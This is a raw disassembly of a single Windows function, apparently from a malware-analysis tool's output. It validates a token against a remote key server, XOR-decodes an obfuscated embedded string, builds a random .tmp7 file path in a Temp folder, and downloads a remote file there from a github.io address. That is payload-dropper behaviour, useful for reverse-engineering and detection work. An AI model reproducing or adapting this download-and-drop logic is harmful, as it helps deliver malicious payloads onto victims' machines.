Function at 0x1400047b0
Capabilities:
Get common file path
Get startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x5b0
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14011b088]
xor rax, rsp
mov qword [rbp + 0x550], rax
xor r13d, r13d
mov dword [rbp + 0x1c0], r13d
mov qword [rbp + 0x10], r13
mov ebx, r13d
mov qword [rbp + 0x20], rbx
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x28], rdi
mov byte [rbp + 0x10], bl
mov dword [rbp + 0x1c0], 1
lea esi, [rdi - 5]
movabs r14, 0x4ec4ec4ec4ec4ec5
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
movups xmmword [rbp + 0x300], xmm0
movups xmm1, xmmword [0x1400da9d8]
movups xmmword [rbp + 0x310], xmm1
movups xmm0, xmmword [0x1400da9e8]
movups xmmword [rbp + 0x320], xmm0
mov eax, dword [0x1400da9f8]
mov dword [rbp + 0x330], eax
movzx eax, byte [0x1400da9fc]
mov byte [rbp + 0x334], al
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movsxd rax, ecx
movzx r9d, byte [rbp + rax + 0x300]
cmp rbx, rdi
jae 0x1400048af
lea rax, [rbx + 1]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x10]
cmp rdi, 0x10
cmovae rax, qword [rbp + 0x10]
mov byte [rax + rbx], r9b
mov byte [rax + rbx + 1], 0
jmp 0x1400048b8
lea rcx, [rbp + 0x10]
call fcn.140009bd0
sub rsi, 1
je 0x1400048cb
mov rdi, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x20]
jmp 0x140004821
lea rdx, [rbp + 0x10]
lea r15, [0x14011b2b0]
mov rcx, r15
call fcn.140007390
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14000491a
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004915
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005641
call fcn.1400c8f38
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x210], 0
mov r8d, send
lea rdx, str._valid_:true
lea rcx, [rbp + 0x210]
call fcn.140007c90
nop
lea rax, str.https:__bstlar.com_keys_validate_
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], reloc.WLDAP32.dll_Ordinal_35
lea rax, str.Enter_your_token
mov qword [rbp + 8], rax
movabs rax, 0xb000000000000000
mov qword [rbp], rax
mov qword [rbp + 0x50], 1
lea rax, [rbp]
mov qword [rbp + 0x58], rax
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x1f0], xmm0
movaps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x1d0], xmm1
lea r8, [rbp + 0x1f0]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x30]
call fcn.140003090
mov dword [rbp + 0x1c0], 2
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], reloc.WS2_32.dll_ntohs
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdx + r8], 0
jne 0x140004a13
lea rcx, [rbp + 0x230]
call fcn.140007c90
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x70]
call fcn.1400032c0
lea rdx, [rbp + 0x210]
mov rsi, qword [rbp + 0x228]
cmp rsi, 0x10
setae r12b
mov rdi, qword [rbp + 0x210]
cmovae rdx, rdi
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140004a68
mov rax, qword [rax]
cmp r8, qword [rbp + 0x220]
jne 0x140004a82
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140004a82
mov r14b, 1
jmp 0x140004a85
xor r14b, r14b
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140004ac6
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ac1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ac1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f38
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140004b1a
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004b15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f38
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], 0
test r14b, r14b
je 0x140005617
mov byte [0x14011b3fc], 1
mov byte [0x14011c520], 1
movabs rax, 0xca5983a0f4820a6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xd720dd143657bf48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x90013eff7a6406ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0xcf427893d68f09f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x1732cc3644a895f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x6fff69f53ecab86e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0xcd2916d68900ac98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0x9041665f1f50ff25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0xbc274212d9294216
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0x17567e9e1c1d5178
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0xc9a9bcf981c204a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0xf20216676f6c2679
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0xd8a9f49d037d0bf9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x7972b9a5f3221ccf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0xaeb1cbe03d98b62b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0xe6556a10f74ee328
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rdx, 0x397fb8f914571d6d
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rcx, 0xb4f31a207104d412
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x8738dbc991ca705d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x8f5297706239d902
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0xd26d7dbb0d337f8f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0xa4354dfabeb77fc4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0x267b965d01eafc81
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x35bd10b45aabdf06
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0xbb1825bfca58edf3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0xdf14521e2f17a668
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0xc653285197700a45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0x7b6127f8664d320a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xaf908ba3f9b64d97
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0x9f4a7922071d440c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
movabs rax, 0x88ca92c531186ac9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
movabs rax, 0x3630cb9cb2727a8e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs rax, 0x9dd78ea77bded45b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rax, 0x83182466957e8450
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x140], ymm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqa xmm0, xmmword [rbp + 0x180]
vpxor xmm0, xmm0, xmmword [rbp + 0x2e0]
vmovdqa xmmword [rbp + 0x180], xmm0
lea rax, [rbp + 0x100]
mov r8, rbx
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x140004f36
lea rdx, [rbp + 0x100]
lea rcx, [0x14011b0b8]
call fcn.140007c90
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x230], 0
mov r8d, 7
lea rdx, str.C:Yes_
lea rcx, [rbp + 0x230]
call fcn.140007c90
nop
lea rax, [rbp + 0x340]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov qword [rbp + 0x1f0], r13
test eax, eax
js 0x140004ff6
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
lea rax, [rbp + 0x340]
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140004fe0
mov r8, rbx
lea rdx, [rbp + 0x340]
jmp 0x14000501a
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
xor r8d, r8d
lea rdx, [0x1400da9c0]
lea rcx, [rbp + 0x1f0]
call fcn.140007b10
nop
lea rcx, [rbp + 0x1f0]
mov rax, qword [rbp + 0x200]
cmp qword [rbp + 0x208], 8
jb 0x14000504c
mov rdi, qword [rbp + 0x1f0]
lea rbx, [rdi + rax*2]
jmp 0x140005057
lea rbx, [rcx + rax*2]
lea rdi, [rbp + 0x1f0]
mov qword [rbp + 0x1d0], r13
mov rcx, r13
mov qword [rbp + 0x1e0], rcx
mov r8d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x1e8], r8
mov byte [rbp + 0x1d0], cl
mov rdx, rbx
sub rdx, rdi
sar rdx, 1
cmp rdx, r8
jbe 0x1400050a6
lea rcx, [rbp + 0x1d0]
call fcn.1400098f0
mov rcx, r13
mov qword [rbp + 0x1e0], rcx
mov r8, qword [rbp + 0x1e8]
lea rax, [rbp + 0x1d0]
mov qword [rbp], rax
cmp rdi, rbx
je 0x14000510d
movzx r9d, byte [rdi]
cmp rcx, r8
jae 0x1400050e8
lea rax, [rcx + 1]
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x1d0]
cmp r8, 0x10
cmovae rax, qword [rbp + 0x1d0]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400050f4
lea rcx, [rbp + 0x1d0]
call fcn.140009bd0
add rdi, 2
cmp rdi, rbx
je 0x14000510d
mov r8, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x1e0]
jmp 0x1400050b6
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov r8d, 5
lea rdx, str..tmp7
lea rcx, [rbp + 0xb0]
call fcn.140007c90
movups xmm0, xmmword [rbp + 0xb0]
movups xmmword [rbp + 0x300], xmm0
movups xmm1, xmmword [rbp + 0xc0]
movups xmmword [rbp + 0x310], xmm1
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov r8d, 6
lea rdx, str.Temp_
lea rcx, [rbp + 0xd0]
call fcn.140007c90
movups xmm0, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rbp + 0xe0]
movups xmmword [rbp + 0xa0], xmm1
lea r8, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae r8, qword [rbp + 0x1d0]
mov r9, qword [rbp + 0x1e0]
xor edx, edx
lea rcx, [rbp + 0x90]
call fcn.14000a280
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r15, qword [0x14011b2b0]
mov r8, qword [0x14011b2c0]
mov rdx, r15
lea rcx, [rbp + 0x10]
call fcn.1400072b0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r9, [rbp + 0x300]
lea r8, [rbp + 0x1a0]
lea rcx, [rbp + 0x30]
call fcn.14000a020
nop
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, str.https:__gtayes.github.io_lolm_header.tmp7
lea rcx, [rbp + 0x70]
call fcn.140007c90
movups xmm0, xmmword [rbp + 0x70]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rbp + 0x80]
movups xmmword [rbp + 0x60], xmm1
call fcn.140074af0
mov rbx, rax
test rax, rax
je 0x140005334
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
lea r8, [0x1400da9bc]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x140005334
lea r8, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae r8, qword [rbp + 0x50]
mov edx, 0x2712
mov rcx, rbx
call fcn.140077a10
lea r8, [0x140003b00]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.140077a10
mov r8, qword [rbp + 0x1c0]
mov edx, 0x2711
mov rcx, rbx
call fcn.140077a10
mov rcx, rbx
call fcn.140074bb0
mov rcx, rbx
call fcn.140074ad0
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140005372
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000536d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000536d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f38
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1400053c0
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400053bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400053bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f38
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x140005415
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000540f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000540f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f38
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140005453
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000544e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000544e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f38
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1400054a7
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400054a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f38
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x318]
cmp rdx, 0x10
jb 0x140005505
inc rdx
mov rcx, qword [rbp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400054ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f38
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140005549
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005544
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005544
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f38
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 8
jb 0x1400055ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400055a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f38
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
mov rdx, qword [rbp + 0x248]
cmp rdx, 0x10
jb 0x140005609
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005604
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005604
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f38
mov rdi, qword [rbp + 0x210]
mov rsi, qword [rbp + 0x228]
test r12b, r12b
je 0x140005650
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140005648
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005648
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400c8f38
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.1400c8ae0
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret